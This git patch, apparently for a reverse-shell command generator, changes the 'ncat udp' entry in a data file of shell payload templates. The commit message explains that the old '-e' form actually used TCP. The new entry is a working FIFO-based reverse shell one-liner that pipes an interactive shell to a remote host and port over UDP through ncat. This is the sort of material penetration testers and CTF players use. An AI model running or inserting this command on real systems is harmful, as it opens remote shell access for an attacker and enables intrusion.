From 4a0a51405cb5dcfde3984d752a903aecb71cf580 Mon Sep 17 00:00:00 2001 From: earthenvessel <49989763+earthenvessel@users.noreply.github.com> Date: Thu, 12 Aug 2021 10:14:26 -0400 Subject: [PATCH] Fixing ncat udp command. The previous command was actually using TCP. Ncat's -u flag switches to UDP, but this doesn't appear to work with the -e flag, as UDP doesn't establish a "connection" to trigger the execution. Using a FIFO solves this issue. --- js/data.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index 5ecd0e7..185aed1 100644 --- a/js/data.js +++ b/js/data.js @@ -76,7 +76,7 @@ const reverseShellCommands = withCommandType( }, { "name": "ncat udp", - "command": "ncat {ip} {port} -e {shell}", + "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u {ip} {port} >/tmp/f", "meta": ["linux", "mac"] }, {